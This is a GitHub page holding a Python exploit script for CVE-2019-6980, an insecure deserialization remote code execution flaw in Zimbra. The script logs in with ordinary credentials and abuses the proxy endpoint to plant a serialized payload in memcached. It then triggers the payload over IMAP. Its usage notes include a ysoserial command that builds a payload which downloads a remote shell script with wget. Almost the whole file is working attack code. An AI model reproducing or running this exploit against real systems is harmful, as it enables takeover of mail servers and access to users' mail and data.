-
Notifications
You must be signed in to change notification settings - Fork 117
/
Copy pathZimbra_deserialization_RCE(CVE-2019-6980).py
152 lines (141 loc) · 5.77 KB
/
Zimbra_deserialization_RCE(CVE-2019-6980).py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#coding=utf8
#python2.7
import sys
import requests
import re
import os
import warnings
warnings.filterwarnings("ignore")
import imaplib
def auth_request_low(uri,username,password):
request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
try:
r=requests.post(uri+"/service/soap",data=request_body.format(username=username,password=password),verify=False,timeout=15)
if 'authentication failed' in r.text:
print("[-] Authentication failed for %s"%(username))
exit(0)
elif 'authToken' in r.text:
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
token = pattern_auth_token.findall(r.text)[0]
print("[+] Authentication success for %s"%(username))
print("[*] authToken_low:%s"%(token))
return token
else:
print("[!]")
print(r.text)
except Exception as e:
print("[!] Error:%s"%(e))
exit(0)
def getaccountinfo_request(uri,token,email):
request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>{token}</authToken>
</context>
</soap:Header>
<soap:Body>
<GetAccountInfoRequest xmlns="urn:zimbraAccount">
<account by="name">{email}</account>
</GetAccountInfoRequest>
</soap:Body>
</soap:Envelope>
"""
try:
print("[*] Try to get the account info")
r=requests.post(uri+"/service/soap",data=request_body.format(token=token,email=email),verify=False,timeout=15)
pattern_data = re.compile(r"zimbraId\">(.*?)</attr")
zimbraId = pattern_data.findall(r.text)[0]
print(" zimbraId:"+zimbraId)
return zimbraId
except Exception as e:
print("[!] Error:%s"%(e))
exit(0)
def send_payload(uri,token,accountid,folderNo,modseq,uidvalidity,path):
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
with open(path,"rb") as f:
payload = f.read()
set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"
headers = {
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+token+";",
"host":"foo:7071"
}
print("[*] Waiting...")
r = requests.post("https://192.168.100.169/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)
if r.status_code ==500:
print(" OK")
else:
print(r.text)
def imap_ssl_trigger_payload(uri,username,password):
index = uri.find('/')
imap_server = uri[index+2:]
M = imaplib.IMAP4_SSL(imap_server,"993")
try:
M.login(username,password)
dataInfo = M.status('INBOX','(UIDVALIDITY)')
print(" " + dataInfo[1][0])
except Exception as e:
print("[!] Error:%s"%(e))
print("[!] Maybe you should change the port of imap_ssl")
return False
else:
data = M.select('INBOX',False)
print(" " + data[0])
M.logout()
if __name__ == '__main__':
if len(sys.argv)!=5:
print('[!]Wrong parameter')
print('CVE-2019-6980')
print('Zimbra')
print('Insecure object deserialization - IMAP')
print('Usage:')
print(' %s <url> <user> <password> <payload path>'%(sys.argv[0]))
print('Eg.')
print(' %s https://192.168.1.1 [email protected] password1 payload.obj'%(sys.argv[0]))
print('Note:')
print(' You can generate payload.obj like this:')
print(' java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj')
sys.exit(0)
else:
try:
if not os.path.exists(sys.argv[4]):
print("[!] There is no %s"%(sys.argv[4]))
exit(0)
print("[*] Try to locate the ysoserial.jar")
if not os.path.exists("ysoserial.jar"):
print("[!] There is no ysoserial.jar")
exit(0)
print(" ok")
print("[*] Try to auth for low token")
uri = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
low_token = auth_request_low(uri,username,password)
zimbraId = getaccountinfo_request(uri,low_token,username)
print("[*] Try to send the payload")
print("[*] Use the following setting:")
print(" folderNo=2 it means Inbox")
print(" modseq = 1 when you use a new user, the default value is 1")
print(" uidvalidity = 1 when you use a new user, the default value is 1")
folderNo= 2
modseq = 1
uidvalidity = 1
send_payload(uri,low_token,zimbraId,folderNo,modseq,uidvalidity,sys.argv[4])
print(" ok")
print("[*] Try to trigger the payload")
imap_ssl_trigger_payload(uri,username,password)
print("All done.")
except Exception as e:
print("[!] Error:%s"%(e))
exit(0)